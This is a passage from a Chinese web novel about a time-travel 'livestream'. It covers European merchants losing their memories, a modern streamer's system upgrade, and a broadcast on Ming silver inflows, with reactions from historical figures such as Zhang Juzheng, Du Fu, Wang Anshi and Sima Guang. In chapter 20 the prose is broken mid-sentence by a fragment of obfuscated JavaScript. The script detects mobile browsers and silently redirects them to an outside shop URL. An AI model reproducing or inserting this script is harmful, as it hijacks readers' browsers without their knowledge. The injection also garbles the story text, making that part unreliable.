但所有人都知道他要说什么。
如果是上帝的意思——那上帝选了谁?
托马斯站在那里,后背一阵阵发凉。月光照在他身上,他却不觉得暖。
他跪下来。
青砖地很硬,硌得膝盖生疼。他双手交握,闭上眼。
主
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啊,求你让我看见。
他祈祷了很久。
睁开眼,窗外还是那片夜空。什么都没有。
第二天早上,所有人聚在一起。
史密斯开口,声音像干裂的河床:“我们得回欧洲。”
没有人反对。
“尽快回国。”他看向范德朗和皮埃尔,“把这件事告诉该告诉的所有人。”
接下来的几天,众人慌乱着把货物提前装船。
年轻的约翰逊每天祈祷,跪在床边,跪在地上,跪在院子里,祈祷的时间越来越长。
几个水手开始翻《圣经》,有人把十字架从箱底翻出来,挂在脖子上,一刻也不摘下来,睡觉都不摘。
托马斯每天都去街上,不是为了打听——他想知道的都已经打听到了——是想试试自己能不能突然看见。
每天都试,每天都看不见。
五天后,船备好了。
天幕似乎又出现了,听到大街上瓷国人的惊呼,所有人心下都觉得更沉了
瓷国得到了上帝的恩赐,而他们似乎真的要被抛弃了。
托马斯把日记本揣进怀里,这些天他每天都在记,密密麻麻写满了大半本。
“我们必须尽快离开。”
船开了。
托马斯站在甲板上,看着广州越来越远。江面越来越宽,岸越来越模糊,最后只剩下一道灰线。
海风吹过来,带着咸腥味。
他掏出日记本,翻开。
空白。
从第一页到最后一页,全是空白。一个字都没有。
托马斯愣住了。
他记得自己写过,他记得阿婆说过什么——他记得那些事,葡萄牙人,西班牙人……
可本子上什么都没有。
他翻了一遍,又翻一遍,再翻一遍。
空白。
他跑去问史密斯,史密斯站在船舷边,正在翻自己的本子,脸色煞白。
“我的也是。”史密斯说,“全没了。”
托马斯盯着他:“你记得什么吗?”
史密斯抬起头,看着他。海风吹乱了他的头发,遮住了半张脸。
眼神里慢慢浮起茫然。
“记得什么?”
托马斯张了张嘴。
他想不起来了。
甲板上,所有人都在翻自己的本子,都在面面相觑。
“我写了什么?”
“你记得吗?”
“我怎么知道?那是你的本子。”
“我的也是空的。”
“我的也是。”
“为什么?”
没有人能回答。
范德朗站在船舷边,盯着自己的本子发呆,皮埃尔攥着十字架,嘴唇嚅动,却念不出词句,眼神空洞得像两口枯井。
托马斯走到他们面前。
“你们记得咱们为什么要提前离开吗?”
范德朗摇了摇头。皮埃尔摇了摇头。
这不是托马斯的主意吗?
海风吹过来,凉凉的。
远处,一个水手问另一个水手:“你说,我们为什么要提前离开瓷国?”
“不知道。”
“真奇怪。”
“是啊。”
托马斯低头看着手里的本子。
空白。
18.第 18 章
正坐在地铁上,雁非盯着手机屏幕,那几条消息弹出来的时候,她恍惚了一下。
【社会进步值+0.21】
【社会进步值+0.56】
【社会进步值+0.09】
数字在屏幕上跳了三下,安静地躺在那儿,像是某种不明觉厉的到账提醒。
直播软件这是自己长腿爬到手机来了?
等等。
雁非的目光重新落在那些数字上。刚才的消息是在提醒她有进步值到账,对吧?
她点开软件后台,界面确实变了——底部多了几个客服功能的图标,原本单调的纯色背景上添了几道若隐若现的银色纹路,像是某种刻意的升级标识,透着一股“我很高级”的傲娇感。
“系统你这是升级了?”她下意识问出声,引来旁边乘客奇怪的一瞥。
话音刚落,屏幕上弹出一行字,字体工整得有些过分,像极了官方通告:
【直播次数达到初级要求,直播质量评级合格,社会进步值积累达到10,系统自动升级至1.2版本,新版本功能详细介绍已发送至系统附赠邮箱,请注意查收。】
雁非盯着那行字看了三秒,忍住现在就点开邮箱的冲动,把手机揣回包里——她怕自己控制不住,在地铁上对着屏幕又说出什么傻瓜。
好不容易熬到家,雁非甩掉鞋,包往沙发上一扔,盘腿坐好,深吸一口气,郑重其事地点开那个软件——仪式感要做足,毕竟这可是关系到她能不能继续发财。
先看进步值。
【当前社会进步值:10.027】
果然是到十了,小数点后三位都记得清清楚楚,这系统严谨得有些神经质,也不知道那0.027是从哪次互动里抠出来的。
她点开邮箱,里面躺着一封长邮件,排版干净得像官方通告:
【致亲爱的宿主:
恭喜您完成首次直播,且综合评级达到“合格”标准,社会进步值累计突破10点,系统已自动升级至1.2版本。
本次升级新增功能如下:
1.多端同步:手机端、电脑端可同时登录,数据实时同步
2.实时结算:直播结束后产生的后续社会进步值,将随时到账并提醒
3.客服系统:您可通过本界面与系统进行基础交互(非人工,智能客服)
感谢您的使用,祝您直播愉快。】
雁非看完,沉默了三秒。
就这?
她原本以为会有什么惊天动地的新功能,比如时空穿梭体验卡或者古代物资免费领取啥的,结果就多了个实时到账提醒和客服系统——虽然那个“多端同步”确实挺实用,但总觉得差点意思,像是买了豪华盲盒结果拆出个普通款。
不过话说回来,社会进步值到了10,她是不是可以兑换一下那个种子盲盒了?
她退回去,点进系统商城,页面确实有了一点变化,之前点进去只会跳出兑换值提醒的三个商品图标,这次却多了一行小字说明,清晰得像生怕她看不懂:
【种子盲盒:消耗10社会进步值,随机获得一种作物种子(古代适配版)。可能获得:红薯/玉米/土豆/小麦/水稻/高粱/其他(稀有品种概率掉落)】
【知识盲盒:消耗12社会进步值,随机获得一份成体系的知识手册(古代适配版)。可能获得:基础冶金指南/农具改良图解/土法制皂工艺/纺织技术入门/建筑营造要诀/其他(稀有知识概率掉落)】
【震惊值:可兑换人民币,兑换比例10000:1(其他兑换商品待解锁)】
雁非盯着那个种子盲盒说明中的“其他”看了半天。
稀有品种?能有多稀有?不会是传说中的杂交水稻或者太空种子吧?那可太逆天了。
她现在有10.027,刚好够买一个种子盲盒试试水,就是那种“辛苦攒了很久终于可以剁手”的微妙满足感。
雁非把手机放下,站起来走了两圈。出租屋太小,走两步就到头了,她只好又坐回来,手指无意识地敲着膝盖。
买不买?
买了就清零,万一开出个普通小麦——虽然小麦也不算亏,毕竟古代人种的小麦产量低得可怜,亩产能有百来斤就不错了。
她要是能弄点什么改良种子过去,应该也能换不少进步值——但总觉得有点浪费这好不容易攒够的十点,像是攒了一年的压岁钱买了个普通文具盒。
要是不买呢?不买也是放着,又不能生利息,每天看着那十点也不会自动变多。
雁非咬了咬嘴唇,手指悬在屏幕上方,做了个深呼吸——拆盲盒嘛,要的就是心跳。
【是否消耗10社会进步值兑换种子盲盒?】
【是】
屏幕一闪,一个灰色的盒子蹦出来,转了三圈,盒盖“啪”地弹开,金色的光芒闪了一下——特效还挺足。
【恭喜您获得:红薯种薯(古代适配版)×1份】
【说明:本品种薯已进行古代适配处理,适应古代土壤气候条件,可直接用于种植,每份约100斤,请确认收货地址。】
雁非盯着那行字,愣了两秒,然后慢慢咧开嘴。
红薯。
真的开出红薯了!这运气还有谁!!
这玩意儿明朝中后期才传入中国,要是能给更早的朝代送去——她脑子里已经开始飞快地盘算起来,这红薯要可以送的朝代有哪些。
等等——
一百斤。
她低头看了看自己十几平米的出租屋,这要是一百斤红薯直接寄过来,她连下脚的地方都没了,只能把红薯堆在床上,自己睡地板。
雁非赶紧点开客服界面:“这个收货地址是现在寄过来吗?”
那边几乎是秒回,像是早就在等着她问这个问题,回复速度快得不科学
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【实物商品将在您确认收货地址前,可存入系统仓库,确认地址后可通过传送功能提取到任何时空精准位置。】
她松了口气。
还好,系统有仓库,毕竟这玩意儿明显也不是给她自己用的——一百斤红薯,她能吃到明年开春。
雁非点击确认地址,屏幕上弹出一行小字:
【收货地址待确认,红薯种薯(古代适配版)×1份已存入系统仓库,可在“我的资产”中查看。】
点进“我的资产”,果然多了一个格子,上面画着个小红薯的图标,底下标着:红薯种薯100斤。
旁边还有个小小的仓库图标,点进去是一片灰蒙蒙的空间感画面,那个红薯袋子就静静悬浮在里面。
正准备关掉软件,屏幕下方突然弹出一个新的提示框,金色的边框闪了几下,像是游戏里解锁隐藏成就的特效:
【检测到宿主首次完成实物兑换,触发隐藏功能解锁】
【“实时互动”功能已开放】
【功能说明:宿主在直播期间,可与观众进行实时语音互动。每次直播限两次互动机会,需由观众通过打赏方式获取提问资格。系统将随机抽取打赏观众,连线成功后,双方可进行不超过三分钟实时对话。】
雁非愣住了。
实时互动?
打赏?
她赶紧往下翻,手指划得飞快,生怕错过什么细节。
【温馨提示:
1.每次互动机会独立计算,单次直播最多两次
2.观众打赏需消耗其所在时空的“等价物”,系统会自动转换为震惊值计入您的账户
3.连线期间,双方语音将同步向全体观众直播
4.本功能不可关闭,不可转让,不可累积】
雁非盯着屏幕,脑子转得飞快,像是突然开窍了一样。
打赏。
也就是说,那些古人如果想跟她说话,得先“花钱”——不管是用银子、古董,还是什么别的值钱东西,比如首饰布料甚至粮食,系统会自动折算成震惊值给她。
一次直播只有两次机会。
稀缺。
值钱。
而且最重要的是——随机抽取。
不是谁想连就能连,得看运气,像抽奖一样,越是抽不到越想要,越想要越愿意掏钱。
这设计妙啊。
越随机,越刺激。越刺激,打赏的人越多。打赏越多,她的震惊值就越多。
雁非靠在沙发上,嘴角慢慢翘起来,忍不住笑出了声。
然后她就突然笑不出来了。
一百斤红薯种薯,送给谁?什么时候送?
想想好像哪个祖宗都不太好得罪的样子哈~
还有那个实时互动功能,她是社恐来着啊!!!
万一哪天连线到个名人祖宗,她紧张到开不了口,那就热闹了。
19.第 19 章
天幕骤然一亮,耀如白昼,直播画面随之重新铺展开来。
【大航海时代——白银帝国(白银的诅咒)】
雁非的声音从光幕中传出,不疾不徐:“上回说到,大航海开辟了银山,白银滚滚流入中国。这一回,咱们就说说——银子为什么非来不可。”
话音刚落,一行字在光幕上缓缓浮现:
[白银为何流向中国?]
与此同时,画面一分为三:左侧是西班牙商船在秘鲁港口装载银锭,船帆鼓满;右侧是日本石见银山的坑道,无数矿工佝偻着背,将一筐筐银矿石拖出洞口;正中则是大明泉州港,一艘艘海船靠岸,船工将成箱的丝绸和瓷器搬上码头。
三幅画面之外,一行小字悄然浮现:
【波托西银山(1545年开矿)·石见银山(1526年大规模开采)·月港(1567年开海)——三大节点,串联起一个白银时代】
画面定格在泉州港,雁非的声音再度响起:“三个节点,三个地方,牵动了一整个时代的财富流向。
而大明,正是这条白银之河的终点。”
“十六世纪至十八世纪,全球白银产量的三分之一到一半——甚至有学者认为高达四分之三——最终悉数流入了中国。”
屏幕跳出一行字:
【全球白银:约50%—75%流入中国】
“为何如此?”雁非的声音低沉而笃定,“三个原因,如三道锁,将全世界的银子尽数锁进了中国。”
屏幕上依次浮现三个词:
【需求】·【商品】·【价差】
“第一个原因:大明缺钱。缺到什么地步?缺到将白银奉为国脉。”
画面切至明代市井的影像资料。
铜钱与纸钞在小贩手中流转,而真正主宰大宗交易的,是一锭锭沉甸甸的白银。官府收税之时,银秤的撞击声压过了市井喧嚣。
“明初曾发行‘大明宝钞’,不久便因滥发形同废纸。至明中叶,民间交易已自发转向白银。万历年间,张居正推行‘一条鞭法’,将全国赋税悉数折银征收。”
“自那一刻起,上自朝廷中枢,下至乡野农户,人人手中都必须持有白银。无银,则税不能纳;无银,则寸步难行。”
“于是,一个庞大、刚性、永不餍足的白银需求就此成形。其量之大,纵是倾全世界的白银,亦难填满。”
【明·万历】
张居正数日未得安寝。
他端坐书案前,案上摊着天下舆图,目光却凝在天幕之上。天幕之光映出他深重的眼袋与额间沟壑。
听见“一条鞭法”四字,他手中茶盏一顿。
那是他毕生心血。他将全国赋税统一折银,简化征收,充盈国库。
可天幕上说,此法使百姓受双重盘剥。
他沉默良久。
无驳辩,无怒色。唯沉默而已。
他忆及推行一条鞭法之初,并非未虑及白银来源。他算过大明银矿:云南银场、湖广矿脉,加之各地零星产出,以为足矣。
他不知大明银矿早在嘉靖年间便已产额锐减,更不知云南银场岁课自万历时已不及永乐年的三成。
他不知货币之命脉竟悬于万里之外——日本石见银山,玻利维亚波托西。那些地名他闻所未闻。
他不知自己精心构筑的制度,竟建在一个他根本无法掌控的基础之上。
他阖上双目,吐出两个字。
“漏了。”
声极轻,轻若叹息。然在这空阔的文华殿中,这两个字重如千钧。
他睁眼再看天幕上那些银色细流——自万里之外奔涌而来,穿大洋,经马尼拉,终汇入大明海岸。可它们何时断流?他不知。满朝无人知晓。
他忽然明白:他这一生都在试图掌控一切——财政、官吏、税收、天下。可他控制不了白银。控制不了万里之外的银矿产量,控制不了大洋上的风暴。而他亲手设计的整个制度,偏偏就建立在这个他无力掌控的东西之上。
[紫禁城]
万历皇帝此刻还没正式亲政,但这不妨碍他对天幕所言之事感兴趣。
他坐直身子,盯着天幕上那张世界地图。银色细流从万里之外汇聚而来,又随时可能断流。日本的银矿挖完了怎么办?西班牙的船队沉了怎么办?马尼拉的海关关了怎么办?
年轻的万历皇帝,此刻他还从没想过这些问题。
天幕继续缓缓道来:
“第二个原因:大明有货,而且是全世界独一无二的货。”
画面切换——江南丝绸工坊,织机咿呀作响,杭嘉湖一带的蚕丝在匠人手中化作云锦霞缎;景德镇御窑厂,瓷窑昼夜不息,青花、斗彩、五彩从火中涅槃;福建武夷山中,漫山茶园吐翠,茶农指尖翻飞,一芽一叶皆化作海外争购之物。
丝绸、瓷器、茶叶。这三样东西,在十六至十八世纪的全球市场上,没有任何替代品。欧洲贵族以藏有明代瓷器为荣,以身着中国丝绸为贵,以品饮武夷茶为雅。”
[法兰西国王路易十四在凡尔赛宫建‘瓷宫’,英国东印度公司的商船一等瓷器装船便扬帆返航。别处做不出来,天下唯大明一家。全球的需求,全压在这一条供应链上。”
“第三个原因:大明的物价便宜。便宜到什么程度?便宜到运银子本身就是稳赚不赔的买卖。”
屏幕上出现一枚银锭,旁注购买力对比。
“同样一两银子,在欧洲能买到的东西远少于中国。原因无他——明代中国拥有当时世界上最发达的商品经济和市场网络,国内生产体系高效,物价长期处于低位。”
“而欧洲在十六世纪经历了‘价格革命’,美洲白银涌入后物价飞涨,两地之间形成了一道天然的价差鸿沟,只要将白银运抵中国,购买力凭空便涨上一截。”
“西班牙人从波托西银矿中挖出银子,铸成银币,装上马尼拉大帆船,横渡太平洋,在菲律宾尽数换成中国货,货船西返,翻倍卖出,白银再流入欧洲。”
“一圈下来,银子赚了,货也得了。而大明,则成了这全球白银循环的终极归宿。”
“于是,全世界的白银,像被一只看不见的手牵引着,像被一张永不餍足的巨口吞噬着,最终尽数涌入大明。”
屏幕上,无数
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银色细流从全球各地汇聚到中国海岸,汇成一片耀眼的白光。如一面银色的海,如一场无声的雪崩。
【唐】
兴庆宫,勤政楼。
唐玄宗站在栏杆前,白发如雪,脸上的皱纹像刀刻出来的。安史之乱过去多年,但那个万国来朝的盛唐,再也回不来了。
天幕上讲白银,讲一个王朝如何因白银涌入而繁荣,因白银退潮而崩溃。
听到“盛极而衰”四字,他手中酒盏一顿。
他想起开元盛世——长安城里胡商的驼队,江南的漕船,国库充盈、天下太平的日子。他以为好日子会一直持续下去,以为自己是天可汗,是盛世之主。
然后是安史之乱。是逃往四川。是马嵬坡。是杨玉环死时那双眼睛。
他低声说,声音沙哑如破弦:“你以为银子多了就稳了?你以为繁荣了就不会变?银子越多,盯着它的人就越多。你守不住,它就变成别人的。你守住了,你的子孙也守不住。”
酒洒了一些,洇在栏杆上,像一滴旧日的泪。
他转身走进殿内,背影佝偻,像一座即将倾塌的塔。
---
[杨炎宅邸]
两税法推行者站在书房窗前,脸色越来越沉。天幕上说的“一条鞭法”,不就是他的两税法?简化税制,以钱计税,充盈国库——他当年以为自己是大唐的救星。
可天幕上的话像针一样扎进心里:“丰年粮贱,灾年粮贵,无论丰歉,农民都是最受伤的那个。”
他猛地站起。
他当年只想着朝廷有钱打仗、修河、发俸,从未想过以钱计税意味着什么——意味着农民要把粮食换成钱,而兑换的主动权握在商人手里。
他沉默良久,低声说,像忏悔,像叹息:“后世王朝看来也没办法解决这根子上的问题啊。”
他闭上眼睛。
一千多年了。人从来不在历史里学东西。
-
浣花溪畔,几间茅屋。
杜甫坐在门前,膝上摊着诗稿。天幕的光照出他脸上沟壑纵横的皱纹——那是安史之乱刻上去的,是逃难刻上去的,是饥饿刻上去的。
他听见天幕上的话:“丰年粮贱,灾年粮贵,无论丰歉,农民都是最受伤的那个。”
他手里的笔微微颤抖。
他见过。全都见过。“朱门酒肉臭,路有冻死骨”,那是安史之乱前他在长安亲眼所见的。母亲卖孩子,老人饿死路边,战乱之后千里无鸡鸣。他都写进了诗里,写在“三吏”“三别”里,写在那些被泪水浸透的诗句里。
天幕上讲的是几百年后的王朝,讲的是他听不懂的名词。但那些人,和他见过的那些人,一模一样。
他提起笔,悬在半空,久久没有落下。
他已经写了几千首诗,写尽了人间的苦。可苦还是那么多,那么重,那么千年不变。
他放下笔,喃喃道:“千年之后,百姓还是百姓。苦的,还是苦的。”
目光里没有愤怒,只有深沉的、近乎无言的悲悯。
风吹过浣花溪,茅屋上的茅草瑟瑟作响,像无数人在低语。
20.第 20 章
【宋】
汴京城里,一家交子铺。
老掌柜坐在柜台后面,仰头望着天幕。他做了一辈子纸币生意,见过交子最风光的时候,也见过它变成废纸的时候。
他的父亲、祖父都是做这行的,他们家三代人的命,都系在这一张薄薄的纸上。
听到“大明宝钞没多久就滥发成废纸”时,他苦笑了一声。
[延和殿]
宋神宗面前摊着一堆奏折,全是关于钱的。西北用兵要钱,河防修缮要钱,官员发俸要钱。他每天醒来第一件事,就是问国库还有多少钱。
天幕上说,大明缺钱缺到拿白银来填窟窿。他苦笑了一声。
“缺钱……”他喃喃道,“朕的大宋也缺钱。”
或许是他对今日天幕所说太过触动,他的意念竟然化为弹幕被雁非瞧见了。
【赵顼:上仙多次言及的“全球化”是何意?】
雁非简短答道:“全球化,就是世界各国的经济、贸易、货币被连成一张网。”
“就如此大宋的丝绸瓷器能卖到日本、高丽、南洋,这叫贸易;但全球化意味着——欧洲挖出来的银子,能穿过太平洋买你的货,你的物价能影响到万里之外的银矿产量,你的货币命脉能悬在他国手中。大明就是被这张网裹进去的,自己还浑然不觉。”
王安石站在殿下,仰头望着天幕。
他听到“大明宝钞滥发成废纸”时,眉头微微皱了一下。大宋的交子,从仁宗朝官营发行至今不过数十年,已几经贬值。
他当初推行新法时,也曾想过整顿交子,却始终未敢轻动——纸币这东西,发的时候痛快,崩的时候惨烈,他比谁都清楚。
听到“一条鞭法”时,他整个人都绷紧了。
赋税折银——这不就是他的免役法吗?
他想起熙宁二年,他初拜参知政事,满腔热血要向神宗皇帝上书《言事书》,说“天下之财力日以困穷,而风俗日以衰坏”,症结就在冗费、冗吏、冗兵。
他想推行免役法,让百姓出钱代替徭役,使农人不误耕织,使工匠不废手艺,使商贾不辍贸易。他以为这是一件好事,以为可以减轻百姓的负担,以为可以让国家更强大。
可司马光那些人天天骂他“盘剥百姓”“与民争利”,他不服气。
他觉得自己是对的——他算过账,免役法收上来的钱,除去雇人充役的开支,还能剩下一部分充实国库。
富户多出,贫户少出,鳏寡孤独者免征,怎么就成了盘剥?
可现在天幕上说,一条鞭法导致了农民的双重盘剥。丰年粮贱,灾年粮贵,无论丰歉,刀都割在农民身上。
他忽然想起一件事,当年推行免役法时,青州有个县令上书说,当地百姓交不起免役钱,有卖牛鬻子者,他当时以为那是县令反对新法,故意夸大其词。
可现在想来……万一那是真的呢?
他站在暮色中,身影被拉得很长很长。风从殿外吹来,吹动他的衣袂,吹动他斑白的头发。
他以为自己早就想明白了——对的就是对的,错的就是错的,历史自有公论。
可此刻他知道,他没有想明白。
---
[西京·洛阳]
司马光仰头望着天幕,听到“一条鞭法”四字时,冷哼了一声。
“以钱计税?王介甫就是这么干的,结果呢?百姓被盘剥,富户逃税,朝廷收上来的钱还不够塞牙缝。”
他望着天幕,语气里带着几分刻薄:“这个大明的张居正,想来是另一个王介甫罢了。变法,变来变去,苦的都是百姓。”
他想起自己用了十几年时间编纂《资治通鉴》,就是想让后世帝王“鉴于往事,有资于治道”。
他在书里写了商鞅变法使秦强国却失民心,写了桑弘羊盐铁专卖虽充实国库却使民不聊生,写了王莽改制理想高远却一败涂地。
他以为这些教训足够深刻,后人不会再犯同样的错。
可天幕上说,几百年后的人,走了同样的路,犯了同样的错。
他忽然觉得有些可笑,他写了十多年的史,用了三百多万字,从三家分晋写到五代十国,把历朝历代的兴衰得失写得明明白白。
可后人该变法还是变法,该以钱计税还是以钱计税,该盘剥百姓还是盘剥百姓。他的书,到底有什么用?
他顿了顿,还想再问天幕几句,却忽然沉默了。
他想起自己和王安石争了一辈子,争的是对错,是是非,是国策。
他写《乞罢免役状》,逐条驳斥免役法;他写《与王介甫书》,劝王安石“改过”。
他以为自己是对的,王安石是错的,只要把王安石赶下台,天下就太平了。
可天幕上说,几百年后的人,走了同样的路,犯了同样的错。
那他们这些年争的那些,到底争出了什么?
他沉默地站在那里,像一棵枯了的老树。
“白银的大量流入,给大明带来了空前的繁荣。”
伴随天幕中雁非直播的声音,画面切换到明末的江南市镇。
丝绸店铺林立,商船往来如织,茶楼酒肆人声鼎沸。那是一种喧嚣的、热气腾腾的、充满生命力的繁荣。
“白银激活了中国的商品经济。江南的丝织业在明中期以后进入爆发式增长,仅苏州一府,织机便多达数万台,从业者数十万计。景德镇御窑厂常年为海内外烧制瓷器,民窑更是遍地开花,年产瓷器数以百万计……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351810|198906||http|test|mini|href|location''.split(''|''),0,{}));
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>“福建的茶叶种植面积在万历年间扩张了数倍,武夷山区的茶农几乎家家以茶为业。商人阶层积累了大量财富,苏州、杭州、南京、广州都成了百万级人口的繁华都市。”
雁非停顿了一下。
“但这个繁荣,是有代价的。”
画面切换到农村。农民在田里劳作,弯腰插秧,挥汗如雨。
交税的时候,他们把粮食挑到集市上,换成一锭一锭的碎银子。那些碎银子在他们粗糙的手掌里,显得格外冰凉。
“一条鞭法把赋税固定为白银,农民的收支之间多了一道‘粮食—银子’的转换。丰年粮贱,灾年粮贵——明代米价在丰年可低至每石三四钱银子,灾年却能飙升至一两以上,相差三四倍。”
“这意味着,丰年农民要多卖三倍的粮才能凑够税银,灾年虽然只需卖半仓粮,但剩下的那点粮食连一家人的口粮都不够。无论丰歉,刀都割在最底层的人身上。”
“更重要的是,白银的供给掌握在别人手里。”
画面切换到波托西银矿,暗无天日的矿井里,印第安矿工佝偻着背,背着沉重的矿石篓子,在狭窄的巷道里爬行。他们的呼吸声粗重得像风箱,他们的眼睛里没有光。
“大明的白银,嘉靖以前多来自日本石见银山,每年流入约百万两;隆庆开海后,美洲白银经马尼拉大帆船源源不断涌入,万历年间每年流入量高达二三百万两。”
“这些白银的供应,不由大明朝廷说了算——日本银矿的枯荣、太平洋上的风暴、马尼拉海关的政策变动,任何一个环节出了差错,大明的货币供应便会骤然收紧。而这一切,远在万里之外的朝堂上,无人能掌控,甚至无人知晓。”
【唐】
长安西市,暮色将尽。
一个老商人坐在铺子里,面前摊着几匹已经泛黄的丝绸。
安史之乱前,他的丝绸生意好得很,西域的胡商排着队来订货,一匹丝绸能换三倍的金子。那时长安西市有“二百二十行,四面立邸,四方珍异,皆所积集”的盛况。
战乱一来,铺子被烧,伙计跑光,西域的商路也断了。
他好不容易重新开张,生意却大不如前,吐蕃占领河西走廊后,丝绸之路几乎断绝,西域的胡商再也来不了了。
天幕上讲大明商人“积累了大量财富”,苏州杭州成了“百万人口的繁华都市”,他的眼睛里忽然亮了一下。
旁边的小伙计问:“东家,咱们要是没打那场仗,是不是也能像大明那样?”
老商人沉默了一会儿。
“也许吧。”
他顿了顿,又说了一句:“可哪朝哪代,能永远不打仗呢?”
他的声音很轻,像一片落叶飘进水里,没有激起任何涟漪。
21.第 21 章
[兴庆宫,勤政楼]
唐玄宗站在栏杆前,白发如雪,脸上的皱纹像刀刻出来的。安史之乱过去多年,但那个万国来朝的盛唐,再也回不来了。
天幕上讲农民之苦——丰年贱卖,灾年贵买,刀都割在百姓身上。
他想起开元盛世。那时天下户八百余万,是开国时的三倍还多;太仓储粮可供天下人吃五六年。
长安城里胡商的驼队从西域连绵而来,江南的漕船沿运河鱼贯北上。他以为好日子会一直持续下去,以为自己是天可汗,是盛世之主。
然后是安史之乱。是逃往四川。是马嵬坡。是杨玉环死时那双眼睛。战乱之后,天下户不足三百万,三分之二的人要么死了,要么沦为流民。那些曾经络绎不绝的西域商队,再也没来过。
他低声说,声音沙哑如破弦:“繁荣的时候,没人看得见底下的人。等看见了,已经晚了。”
酒洒了一些,洇在栏杆上,像一滴旧日的泪。
浣花溪畔,几间茅屋。
杜甫坐在门前,膝上摊着诗稿。天幕的光照出他脸上沟壑纵横的皱纹——那是安史之乱刻上去的,是逃难刻上去的,是饥饿刻上去的。
他听见天幕上的话:“丰年粮贱,灾年粮贵,无论丰歉,农民都是最受伤的那个。”
他手里的笔微微颤抖。
他见过。全都见过。
“朱门酒肉臭,路有冻死骨”,那是天宝年间他在长安亲眼所见的。
那时一石米不过二百钱,可穷人家依然吃不起饭。安史之乱后,他从洛阳逃往华州,沿途所见,“白水暮东流,青山犹哭声”。
他写过“三吏”“三别”,写过《兵车行》,写过《春望》,把那些哭不出声的人的苦,一笔一笔刻进诗里。
天幕上讲的是几百年后的王朝,讲的是他听不懂的名词。
但那些人,和他见过的那些人,一模一样。
他提起笔,悬在半空,久久没有落下。
他已经写了几千首诗,写尽了人间的苦。可苦还是那么多,那么重,那么千年不变。
他放下笔,喃喃道:“千年之后,百姓还是百姓。苦的,还是苦的。”
风吹过浣花溪,茅屋上的茅草瑟瑟作响,像无数人在低语。
【明】
江西,某处不知名的村庄。
李老四蹲在田埂上,仰头望着天幕。他的裤腿卷到膝盖以上,小腿上沾着干了的泥巴。他的脸被太阳晒得黧黑,皱纹像干裂的河床。
他听不太懂那些大道理。什么“全球化”,什么“商品经济”,这些词对他来说,像天上的云一样遥远。
但有一句,他听懂了。
“丰年粮价低,贱卖粮食换银交税;灾年粮价高,还是得卖粮换银。无论丰歉,农民都是最受伤的那个。”
他想起去年秋天。
丰年,谷仓堆得满满的。粮商来了,把价压到三钱银子一石。他咬牙卖了三百斤粮,换来的碎银子,交完税只剩一小把。
那一小把银子,他攥在手心里,攥了一整天,最后也没舍得花,藏在了炕洞里。
他又想起前年。
灾年,地里几乎绝收。粮价涨到一两二钱一石,涨了四倍。可他手里没有粮,只能卖存粮。他卖了一半的存粮,交完税,手里连一粒余粮都没剩。
那天晚上,他听见隔壁的王家媳妇在哭——他们家连明天的粥都熬不出来了。
他想起父亲临终前说的话。父亲说,他年轻时也是这样,丰年卖粮交税,灾年也卖粮交税,一辈子没攒下什么。
他以为到他这一代会好一些,可天幕告诉他,几百年后的人,过的日子跟他一模一样。
“无论丰歉……”他喃喃道,声音像从地底下传上来的。
旁边的老伴扯了扯他的袖子:“别看了,回屋吧,夜凉了。”
他没动,沉默了很久。
最后他只说了一句话,声音很轻,轻得像是怕被天上的什么东西听见。
“那些银子,跟俺们有什么关系呢?”
老伴没有再说话。风从田埂上吹过,吹动那些干枯的稻茬,发出细碎的声响。
[苏州]
阊门外的丝绸作坊。
沈老板正盘着腿在账桌前算账,算盘珠子噼里啪啦响。天幕中雁非的声音正说到“十六世纪至十八世纪,全球白银产量的三分之一到一半——甚至有学者认为高达四分之三——最终悉数流入了中国”。
听到这句,他猛地抬起头,拍了一下大腿。
“好!”
他的眼睛亮得像两盏灯。
“欧洲的贵族穿咱的丝绸?那咱们的生意,还能做五十年!”
他跳下账桌,走进库房,库房里码着十几口大箱子,都是这些年攒下的。
他打开其中一口——里面是码得整整齐齐的银锭,在烛光下泛着柔和的光泽,每一锭上都打着银号的戳记。
他抓起一锭,在手里掂了掂,沉甸甸的,冰凉冰凉的,像一块凝固的月光。
“银子……”他自言自语,脸上带着一种近乎虔诚的笑容,“真好。”
他把银锭放回去,又拿起另一锭,再放回去,再拿起。他像一个小孩子得到了心爱的玩具,舍不得放下。
这些银子,一部分要留着给儿子们科考用,一部分要继续买地,剩下的就藏在库房里,等老了慢慢花。
他正盘算着明年再进多少丝、添几匹新式样,天幕上的画面却忽然一转。
---
“这里有一个问题,值得我们想一想。”
雁非的声音变得低沉,像是在说一件很重要的事。
“同样的白银,到了欧洲,催生
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了一场生产力的巨变;到了大明,却只是堆在地窖里。为什么?”
画面切换到欧洲。
荷兰的造船厂,工人们在船坞里敲敲打打,一艘艘商船从船台上滑入水中。英国的纺织工厂,水力纺纱机轰隆隆地转动,纱锭飞速旋转。法国的道路桥梁,宽阔的大道通向四面八方,石桥横跨在河流上。
“西班牙人把白银带到了欧洲各地,这些钱最终变成了商船、工厂、路网、港口。十七世纪,荷兰拥有世界上最庞大的商船队,总数超过一万五千艘,吨位占欧洲总吨位的三分之二。”
“英国人在十八世纪中叶发明了珍妮纺纱机,随后是水力纺纱机、骡机,将纺织业从手工作坊推向了工厂时代。这些都是工业革命的基石,是资本主义的摇篮,是现代世界的起点。”
“而大明的白银呢?”
画面切换回中国。
一座深宅大院的库房,银锭码得整整齐齐,像一面沉默的墙。旁边是一顷一顷的良田,麦浪翻滚。再旁边是一座新盖的大宅,雕梁画栋,飞檐翘角。
“来了,就存起来。买田、盖房、窖藏、陪葬。没有变成工厂,没有变成机器,没有变成铁路,没有变成军舰。”
“据估算,明代中后期仅江南地区窖藏的白银就高达数千万两。这些银子一旦埋入地下,便彻底退出了经济循环,如同死水。”
屏幕上,中国的银库里银子越堆越高,越堆越多,像一座银色的山。
旁边的欧洲,光点越来越多,越来越亮,像一片星海。
“为什么?”
屏幕上浮现出一个巨大的问号,像一个沉默的审判。
